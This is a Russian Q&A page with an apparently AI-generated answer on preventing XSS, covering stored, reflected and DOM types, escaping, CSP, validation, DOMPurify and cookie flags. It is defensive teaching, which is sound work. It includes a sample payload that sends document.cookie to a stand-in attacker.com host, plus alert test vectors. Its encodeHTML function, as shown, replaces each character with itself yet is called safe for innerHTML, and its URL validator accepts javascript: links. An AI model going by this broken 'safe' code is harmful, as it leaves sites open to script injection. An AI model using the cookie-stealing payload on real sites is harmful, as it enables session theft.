Как устранить XSS уязвимость?
Комментарии (1)
Ответ сгенерирован нейросетью и может содержать ошибки
Устранение XSS уязвимостей
XSS (Cross-Site Scripting) — это атака когда злоумышленник вводит вредоносный JavaScript код на веб-сайт, который выполняется в браузере других пользователей. Это одна из самых распространённых уязвимостей.
Типы XSS
Stored XSS (Сохранённый) Вредоносный код сохраняется в базе данных и выполняется для каждого пользователя:
Пользователь заливает комментарий:
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
Базе данных:
Этот HTML сохраняется и загружается для всех пользователей
Reflected XSS (Отражённый) Вредоносный код передаётся через URL и тут же отражается:
https://example.com/search?q=<script>alert('XSS')</script>
Сервер отправляет:
Найдено: <script>alert('XSS')</script>
Скрипт выполняется в браузере жертвы
DOM XSS (На клиенте) Уязвимость в JavaScript коде который неправильно работает с DOM:
// Уязвиво!
const userInput = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = userInput;
// Ссылка: example.com/?name=<img src=x onerror="alert('XSS')">
Защита: Правило номер 1 — НИКОГДА не вставляй untrusted данные в HTML
Уязвиво:
// ❌ НИКОГДА не используй innerHTML с пользовательскими данными
const userComment = getUserComment(); // Может содержать <script>
comment.innerHTML = userComment; // XSS!
// ❌ Не используй dangerouslySetInnerHTML в React
<div dangerouslySetInnerHTML={{ __html: userComment }} />
// ❌ Не интерполируй в HTML атрибутах
<img src={userInput} />
<a href={userInput}>Link</a>
Правильно:
// ✅ Используй textContent для текста
comment.textContent = userComment;
// ✅ React автоматически экранирует
<div>{userComment}</div>
// ✅ Используй функции для создания элементов
const el = document.createElement('div');
el.textContent = userComment;
comment.appendChild(el);
Защита 1: Output Encoding (Экранирование)
Преобразуй спецсимволы в HTML entities:
function encodeHTML(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
const userInput = '<img src=x onerror="alert(1)">';
const safe = encodeHTML(userInput);
// Результат: <img src=x onerror="alert(1)">
comment.innerHTML = safe; // Теперь безопасно!
В React это происходит автоматически:
const userInput = '<script>alert("XSS")</script>';
return <div>{userInput}</div>; // Безопасно! React экранирует
Защита 2: Content Security Policy (CSP)
Это HTTP заголовок который говорит браузеру какой контент можно загружать:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.jsdelivr.net;
style-src 'self' 'unsafe-inline';
img-src *;
Это предотвращает:
- Загрузку скриптов с неизвестных источников
- Inline скрипты типа
<script>alert(1)</script>(если нетunsafe-inline) - Eval и dynamic code generation
// Будет заблокировано если CSP запрещает eval
eval('alert(1)'); // Blocked!
setTimeout('alert(1)', 100); // Blocked!
Защита 3: Input Validation (Валидация входа)
Проверяй что пользователь вводит именно то что ожидаешь:
// ✅ Для email
function validateEmail(email) {
return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
}
// ✅ Для URL
function validateURL(url) {
try {
new URL(url);
return true;
} catch {
return false;
}
}
// ✅ Для чисел
function validateNumber(num) {
return /^\d+$/.test(num);
}
// Использование
if (!validateEmail(userEmail)) {
throw new Error('Invalid email');
}
Защита 4: Sanitization библиотеки
Для случаев когда нужно разрешить НЕКОТОРЫЙ HTML (например markdown в комментариях):
// Используй DOMPurify
import DOMPurify from 'dompurify';
const userComment = '<p>Hello</p><script>alert(1)</script>';
const clean = DOMPurify.sanitize(userComment);
// Результат: <p>Hello</p>
// Скрипт удалён!
document.getElementById('comments').innerHTML = clean;
Другие библиотеки:
- xss — для Node.js
- bleach — для Python (на бэкенде)
- Markdown-it с плагинами — для безопасного markdown
Защита 5: HttpOnly Cookie флаг
На сервере выставь флаг HttpOnly для cookies:
response.set_cookie('session_id', token, httponly=True)
Браузер не позволит JavaScript получить доступ:
// ❌ Не сработает если httponly=true
const sessionId = document.cookie; // session_id не будет видна
// Даже если XSS есть, атакующий не может украсть session
Защита 6: CORS и SameSite
CORS — контролирует кроме-доменные запросы:
Access-Control-Allow-Origin: https://trusted-domain.com
SameSite cookie флаг — предотвращает CSRF:
response.set_cookie('session', token, samesite='Strict')
Браузер не отправит cookie при cross-site запросах.
Практический пример: Безопасная форма комментариев
// React компонент
function CommentForm() {
const [comment, setComment] = useState('');
const handleSubmit = (e) => {
e.preventDefault();
// Валидация
if (comment.length > 5000) {
alert('Comment too long');
return;
}
// Отправить на сервер (сервер сделает sanitization)
fetch('/api/comments', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ content: comment })
});
};
return (
<form onSubmit={handleSubmit}>
<textarea
value={comment}
onChange={(e) => setComment(e.target.value)}
placeholder="Your comment"
/>
<button type="submit">Post</button>
</form>
);
}
// При отображении — React автоматически экранирует
export function CommentList({ comments }) {
return (
<div>
{comments.map(comment => (
<div key={comment.id}>
{/* Безопасно! React экранирует HTML */}
<p>{comment.content}</p>
</div>
))}
</div>
);
}
Чеклист безопасности
- Используешь React/Vue/Svelte которые экранируют по умолчанию
- Никогда не используешь
innerHTML,dangerouslySetInnerHTMLс пользовательскими данными - Валидируешь ВЕСЬ пользовательский ввод
- Используешь DOMPurify если нужен HTML
- CSP заголовок настроен в production
- HttpOnly флаг на session cookies
- Протестировал XSS вектором:
<img src=x onerror="alert(1)"> - Нет eval, Function конструктора, setTimeout с string кодом
- SameSite флаг на cookies
- Регулярно обновляешь зависимости (уязвимости в библиотеках)
Хотя XSS преимущественно проблема бэкенда (он должен не сохранять вредоносный код), фронтенд разработчик должен знать эти защиты и не создавать уязвимости на своей стороне.